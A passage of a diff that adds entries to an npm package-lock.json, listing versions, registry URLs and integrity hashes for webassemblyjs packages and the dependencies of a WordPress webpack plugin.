"sha512-R7FStIzyNcd7xKxCZH5lE0Bqy+hGTwS3LJjuv1ZVxd9O7eHCedSdrId/hMOd20I+v8wDXEn+bjfKDLzTepoaUw==", + "dev": true + }, + "@webassemblyjs/helper-wasm-section": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.9.0.tgz", + "integrity": "sha512-XnMB8l3ek4tvrKUUku+IVaXNHz2YsJyOOmz+MMkZvh8h1uSJpSen6vYnw3IoQ7WwEuAhL8Efjms1ZWjqh2agvw==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-buffer": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/wasm-gen": "1.9.0" + } + }, + "@webassemblyjs/ieee754": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.9.0.tgz", + "integrity": "sha512-dcX8JuYU/gvymzIHc9DgxTzUUTLexWwt8uCTWP3otys596io0L5aW02Gb1RjYpx2+0Jus1h4ZFqjla7umFniTg==", + "dev": true, + "requires": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "@webassemblyjs/leb128": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.9.0.tgz", + "integrity": "sha512-ENVzM5VwV1ojs9jam6vPys97B/S65YQtv/aanqnU7D8aSoHFX8GyhGg0CMfyKNIHBuAVjy3tlzd5QMMINa7wpw==", + "dev": true, + "requires": { + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/utf8": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.9.0.tgz", + "integrity": "sha512-GZbQlWtopBTP0u7cHrEx+73yZKrQoBMpwkGEIqlacljhXCkVM1kMQge/Mf+csMJAjEdSwhOyLAS0AoR3AG5P8w==", + "dev": true + }, + "@webassemblyjs/wasm-edit": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.9.0.tgz", + "integrity": "sha512-FgHzBm80uwz5M8WKnMTn6j/sVbqilPdQXTWraSjBwFXSYGirpkSWE2R9Qvz9tNiTKQvoKILpCuTjBKzOIm0nxw==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-buffer": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/helper-wasm-section": "1.9.0", + "@webassemblyjs/wasm-gen": "1.9.0", + "@webassemblyjs/wasm-opt": "1.9.0", + "@webassemblyjs/wasm-parser": "1.9.0", + "@webassemblyjs/wast-printer": "1.9.0" + } + }, + "@webassemblyjs/wasm-gen": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.9.0.tgz", + "integrity": "sha512-cPE3o44YzOOHvlsb4+E9qSqjc9Qf9Na1OO/BHFy4OI91XDE14MjFN4lTMezzaIWdPqHnsTodGGNP+iRSYfGkjA==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/ieee754": "1.9.0", + "@webassemblyjs/leb128": "1.9.0", + "@webassemblyjs/utf8": "1.9.0" + } + }, + "@webassemblyjs/wasm-opt": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.9.0.tgz", + "integrity": "sha512-Qkjgm6Anhm+OMbIL0iokO7meajkzQD71ioelnfPEj6r4eOFuqm4YC3VBPqXjFyyNwowzbMD+hizmprP/Fwkl2A==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-buffer": "1.9.0", + "@webassemblyjs/wasm-gen": "1.9.0", + "@webassemblyjs/wasm-parser": "1.9.0" + } + }, + "@webassemblyjs/wasm-parser": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.9.0.tgz", + "integrity": "sha512-9+wkMowR2AmdSWQzsPEjFU7njh8HTO5MqO8vjwEHuM+AMHioNqSBONRdr0NQQ3dVQrzp0s8lTcYqzUdb7YgELA==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/helper-api-error": "1.9.0", + "@webassemblyjs/helper-wasm-bytecode": "1.9.0", + "@webassemblyjs/ieee754": "1.9.0", + "@webassemblyjs/leb128": "1.9.0", + "@webassemblyjs/utf8": "1.9.0" + } + }, + "@webassemblyjs/wast-parser": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.9.0.tgz", + "integrity": "sha512-qsqSAP3QQ3LyZjNC/0jBJ/ToSxfYJ8kYyuiGvtn/8MK89VrNEfwj7BPQzJVHi0jGTRK2dGdJ5PRqhtjzoww+bw==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/floating-point-hex-parser": "1.9.0", + "@webassemblyjs/helper-api-error": "1.9.0", + "@webassemblyjs/helper-code-frame": "1.9.0", + "@webassemblyjs/helper-fsm": "1.9.0", + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/wast-printer": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.9.0.tgz", + "integrity": "sha512-2J0nE95rHXHyQ24cWjMKJ1tqB/ds8z/cyeOZxJhcb+rW+SQASVjuznUSmdz5GpVJTzU8JkhYut0D3siFDD6wsA==", + "dev": true, + "requires": { + "@webassemblyjs/ast": "1.9.0", + "@webassemblyjs/wast-parser": "1.9.0", + "@xtuc/long": "4.2.2" + } + }, + "@wordpress/dependency-extraction-webpack-plugin": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/@wordpress/dependency-extraction-webpack-plugin/-/dependency-extraction-webpack-plugin-2.8.0.tgz", + "integrity": "sha512-fEOsSl1kYY8gkiAe7OM9IopmSOtaAug37OQwKVeda5fK6xLsnpqprP5iwHHOApNWMEzgmVGS6/iW5IZoi7qv/A==", + "dev": true, + "requires": { + "json2php": "^0.0.4", + "webpack": "^4.8.3", + "webpack-sources": "^1.3.0" + }, + "dependencies": { + "acorn": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz", + "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==", + "dev": true + }, + "ajv": { + "version": "6.12.3", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.3.tgz", + "integrity": "sha512-4K0cK3L1hsqk9xIb2z9vs/XU+PGJZ9PNpJRDS9YLzmNdX6jmVPfamLvTJr0aDAusnHyCHO6MjzlkAsgtqp9teA==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.1.tgz", + "integrity": "sha512-KWcq3xN8fDjSB+IMoh2VaXVhRI0BBGxoYp3rx7Pkb6z0cFjYR9Q9l4yZqqals0/zsioCmocC5H6UvsGD4MoIBA==", + "dev": true, + "requires": {} + }, + "anymatch": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz", + "integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==", + "dev": true, + "optional": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true + }, + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "dev": true + }, + "binary-extensions": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.1.0.tgz", + "integrity": "sha512-1Yj8h9Q+QDF5FzhMs/c9+6UntbD5MkRfRwac8DoEm9ZfUBZ7tZ55YcGVAzEe4bXsdQHEk+s9S5wsOKVdZrw0tQ==", + "dev": true, + "optional": true + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "requires": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "chokidar": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.4.1.tgz", + "integrity": "sha512-TQTJyr2stihpC4Sya9hs2Xh+O2wf+igjL36Y75xx2WdHuiICcn/XJza46Jwt0eT5hVpQOzo3FpY3cj3RVYLX0g==", + "dev": true, + "optional": true, + "requires": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "fsevents": "~2.1.2", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.4.0" + }, + "dependencies": { + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "optional": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "optional": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "optional": true + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "optional": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "dev": true + }, + "eslint-scope": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", + "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", + "dev": true, + "requires": { + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" + } + }, + "events": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.1.0.tgz", + "integrity": "sha512-Rv+u8MLHNOdMjTAFeT3nCjHn2aGlx435FP/sDHNaRhDEMwyI/aB22Kj2qIN8R0cw3z28psEQLYwxVKLsKrMgWg==", + "dev": true + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "requires": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "requires": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "requires": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "fsevents": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.1.3.tgz", + "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==", + "dev": true, + "optional": true + }, + "glob-parent": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz", + "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==", + "dev": true, + "optional": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "optional": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true, + "optional": true + }, + "is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, + "optional": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "dev": true, + "requires": { + "minimist": "^1.2.0" + } + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true + }, + "loader-runner": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.4.0.tgz", + "integrity": "sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw==", + "dev": true + }, + "loader-utils": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", + "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + } + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "node-libs-browser": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.2.1.tgz", + "integrity": "sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==", + "dev": true, + "requires": { + "assert": "^1.1.1", + "browserify-zlib": "^0.2.0", + "buffer": "^4.3.0", + "console-browserify": "^1.1.0", + "constants-browserify": "^1.0.0", + "crypto-browserify": "^3.11.0", + "domain-browser": "^1.1.1", + "events": "^3.0.0", + "https-browserify": "^1.0.0", + "os-browserify": "^0.3.0", + "path-browserify": "0.0.1", + "process": "^0.11.10", + "punycode": "^1.2.4", + "querystring-es3": "^0.2.0", + "readable-stream": "^2.3.3", + "stream-browserify": "^2.0.1", + "stream-http": "^2.7.2", + "string_decoder": "^1.0.0", + "timers-browserify": "^2.0.4", + "tty-browserify": "0.0.0", + "url": "^0.11.0", + "util": "^0.11.0", + "vm-browserify": "^1.0.1" + } + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "optional": true + }, + "path-browserify": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz", + "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + } + } + }, + "readdirp": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.4.0.tgz", + "integrity": "sha512-0xe001vZBnJEK+uKcj8qOhyAKPzIT+gStxWr3LCB0DwcXR5NZJ3IaC+yGnHCYzB/S7ov3m3EEbZI2zeNvX+hGQ==", + "dev": true, + "optional": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "requires": { + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": 